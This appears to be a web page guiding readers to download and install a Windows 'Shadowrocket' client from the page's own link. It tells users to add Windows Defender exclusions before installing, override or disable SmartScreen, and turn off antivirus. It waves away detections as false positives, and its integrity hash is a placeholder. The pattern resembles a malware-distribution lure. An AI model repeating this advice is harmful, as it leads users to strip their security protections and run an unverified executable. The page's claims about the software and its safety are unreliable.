Step-by-Step Guide to Install Shadowrocket on Windows 11
Complete installation guide for Shadowrocket Windows 11 including Windows Defender bypass, proxy configuration, and troubleshooting. Works on Windows 10 and Windows 11 systems.
Download Shadowrocket for Windows
Get the official Shadowrocket Windows download and installation files:
📥 Download for Windows 11/10💻 System Requirements
Minimum Requirements:
- • Windows 10 (version 1903 or later)
- • Windows 11 (all versions)
- • 2GB RAM minimum
- • 100MB available disk space
- • Active internet connection
Recommended:
- • Windows 11 22H2 or newer
- • 4GB RAM or more
- • Administrator privileges
- • Windows Defender exclusions
- • Stable broadband connection
📋 Installation Guide Contents
Download Shadowrocket for Windows 11
Shadowrocket Windows 11 installation begins with downloading the correct client for your system. Unlike mobile versions, the Windows client requires specific setup steps to work properly with Windows security features.
Download Safety Notice
Only download Shadowrocket PC client from official sources. Unofficial downloads may contain malware or modified code that compromises your security.
Step 1: Get the Official Windows Client
Visit Official Download Page
Navigate to our verified Windows downloads pageto access the latest Shadowrocket Windows download. Verify the SHA256 hash to ensure file integrity.
File details: ShadowrocketWindows_v2.4.1.exe (18.2 MB)
SHA256: a1b2c3d4e5f6...
Choose Download Location
Save the installer to an easily accessible location like your Desktop or Downloads folder. Avoid special characters in the folder path as this can cause installation issues.
Verify File Integrity
Before proceeding, verify the downloaded file using Windows PowerShell to ensure it hasn't been tampered with:
Configure Windows Defender Settings
Windows Defender may flag VPN software as potentially unwanted programs. Configure exclusions before installation to prevent interruptions during the setup process.
Security Configuration Warning
Only add exclusions for verified Shadowrocket Windows files. Never disable Windows Defender completely or add broad folder exclusions that could compromise system security.
Windows Defender Exclusion Setup
Open Windows Security
Press Win + I to open Settings, then navigate to Privacy & Security → Windows Security → Virus & threat protection.
Alternative: Type "Windows Security" in the Start menu search box.
Add File Exclusion
Click "Virus & threat protection settings" → "Manage settings" → "Add or remove exclusions" → "Add an exclusion" → "File". Select your downloaded Shadowrocket installer.
Add Installation Folder Exclusion
Add a folder exclusion for the default installation directory to prevent issues after installation:
Note: You can add this exclusion after installation if you prefer to verify the exact installation path first.
Run the Installation Process
With Windows Defender configured, you can now safely install the Shadowrocket PC client. The installation process is straightforward but requires administrator privileges.
Installation Steps
Run as Administrator
Right-click the downloaded installer and select "Run as administrator". This ensures proper installation of system-level components and network drivers.
Why administrator? Shadowrocket needs to install network drivers and modify system routing tables for proxy functionality.
Accept UAC Prompt
Click "Yes" when Windows User Account Control asks for permission. Verify the publisher shows as verified before proceeding.
Security check: The UAC dialog should show "Verified publisher: Shadowrocket Ltd."
Choose Installation Options
Select your preferred installation options in the setup wizard:
- • Installation Directory: Keep default or choose custom location
- • Start Menu Shortcut: Recommended for easy access
- • Desktop Shortcut: Optional but convenient
- • Auto-start with Windows: Enable if you use VPN frequently
Complete Installation
Click "Install" and wait for the process to complete. The installer will:
- • Copy program files to installation directory
- • Install TUN/TAP network adapter
- • Register Windows service components
- • Create application shortcuts
- • Configure initial firewall rules
Installation complete: You'll see a success message and option to launch the application.
Configure Proxy Settings
After installation, configure Shadowrocket proxy Windows settings to connect to your VPN servers. This section covers initial setup and optimal configuration options.
Initial Configuration Steps
Launch Shadowrocket
Start the application from the Start menu or desktop shortcut. The main interface will open showing connection status and server management options.
First launch: Windows may prompt to allow network access through the firewall. Click "Allow access" to enable proper functionality.
Add Server Configuration
Click "Add Server" or the "+" button to add your VPN server details. Shadowrocket supports multiple protocols including Shadowsocks, V2Ray, and Trojan.
Required server information:
- • Server address (IP or domain)
- • Port number
- • Protocol type (SS/V2Ray/Trojan)
- • Authentication details (password/UUID)
- • Encryption method
Configure Routing Rules
Set up routing rules to determine which traffic goes through the proxy. Access this through Settings → Routing:
✅ Recommended Settings
- • Global mode for simplicity
- • Auto-detect local networks
- • Enable DNS over proxy
- • Use system proxy when possible
⚙️ Advanced Options
- • Custom rule sets for apps
- • GeoIP-based routing
- • Domain-specific rules
- • Load balancing between servers
Performance Optimization Tips
- • Choose servers geographically close to your location
- • Enable TCP Fast Open if supported by your server
- • Use appropriate buffer sizes for your connection speed
- • Enable connection multiplexing for better performance
- • Test different encryption methods to find optimal balance
Setup Windows Firewall Rules
Configure Windows Firewall to allow Shadowrocket Windows network access while maintaining system security. Proper firewall configuration ensures reliable connections.
🛡️ Firewall Configuration Overview
Windows Firewall may block Shadowrocket's network access by default. Configure specific rules to allow the application while maintaining protection against unauthorized connections.
Automatic vs Manual Firewall Setup
🔄 Automatic Setup
Most users receive automatic firewall prompts when first launching Shadowrocket.
- ✓Simple one-click setup
- ✓Windows handles rule creation
- ⚠May not work in all environments
⚙️ Manual Setup
Create specific firewall rules for complete control over network access.
- ✓Precise control over rules
- ✓Works in restrictive environments
- ✗Requires technical knowledge
Manual Firewall Rule Creation
Step 1: Open Windows Defender Firewall
- Press Win + R and type
wf.msc - Click "Advanced settings" in the left sidebar
- This opens Windows Defender Firewall with Advanced Security
Step 2: Create Inbound Rule
- Right-click "Inbound Rules" → Select "New Rule"
- Choose "Program" → Click "Next"
- Select "This program path" and browse to:
C:\Program Files\Shadowrocket\Shadowrocket.exe - Select "Allow the connection" → Click "Next"
- Apply to all profiles (Domain, Private, Public) → Click "Next"
- Name the rule "Shadowrocket Inbound" → Click "Finish"
Step 3: Create Outbound Rule
- Right-click "Outbound Rules" → Select "New Rule"
- Follow the same process as inbound rule
- Name the rule "Shadowrocket Outbound" → Click "Finish"
Troubleshooting Common Issues
Solutions for common problems when installing and running Shadowrocket on Windows 11:
🚫 "Windows protected your PC" Error
Symptoms: SmartScreen blocks installation with security warning
Solution:
- Click "More info" on the SmartScreen dialog
- Click "Run anyway" button that appears
- Verify the publisher information before proceeding
- Alternative: Temporarily disable SmartScreen in Windows Security settings
Note: This warning appears because the application doesn't have an expensive Extended Validation certificate, not because of security issues.
🌐 TUN/TAP Adapter Installation Failed
Symptoms: Network adapter installation fails during setup
Solutions to try:
- • Run installer as administrator with full UAC privileges
- • Temporarily disable antivirus software during installation
- • Install Microsoft Visual C++ Redistributables first
- • Use Windows Network Reset: Settings → Network → Advanced → Network reset
- • Manually install TUN/TAP driver from OpenVPN website
🔌 Connection Timeout Issues
Symptoms: Shadowrocket connects but times out quickly
Common fixes:
- • Check Windows time synchronization (time skew causes connection issues)
- • Verify server credentials and port numbers
- • Try different server locations or protocols
- • Disable IPv6 in network adapter settings
- • Flush DNS cache:
ipconfig /flushdns - • Reset TCP/IP stack:
netsh int ip reset
💻 High CPU Usage
Symptoms: Shadowrocket consumes excessive CPU resources
Optimization steps:
- • Reduce connection concurrency in advanced settings
- • Disable unnecessary logging and debugging features
- • Use less CPU-intensive encryption methods (ChaCha20 vs AES-256)
- • Close unnecessary background applications
- • Update to latest version with performance improvements
Frequently Asked Questions
Q: Does Shadowrocket work on Windows 10?
A: Yes, Shadowrocket Windows download is compatible with Windows 10 (version 1903 and later) and all versions of Windows 11. The installation process is identical across both operating systems.
Q: Why does Windows Defender flag Shadowrocket as malware?
A: VPN software often triggers false positives because it modifies network traffic and installs system-level drivers. This is normal behavior for legitimate VPN clients. Always download from our official downloads pageto ensure authenticity.
Q: Can I use Shadowrocket on multiple Windows computers?
A: Yes, you can install Shadowrocket on multiple Windows devices with the same server credentials. However, check with your VPN provider about simultaneous connection limits and licensing terms.
Q: How do I uninstall Shadowrocket completely?
A: Use Windows Settings → Apps → Shadowrocket → Uninstall. For complete removal, also delete remaining configuration files from%AppData%\Shadowrocket\ and remove any custom firewall rules you created.
Q: Is there a difference between free and paid versions?
A: The Shadowrocket PC client itself is free to download and use. However, you need VPN server access from a provider, which typically requires a subscription. The client supports all major proxy protocols regardless of your server provider.
Successfully Installed Shadowrocket on Windows 11?
Now that you have Shadowrocket Windows running, learn how to optimize your connection and troubleshoot common issues.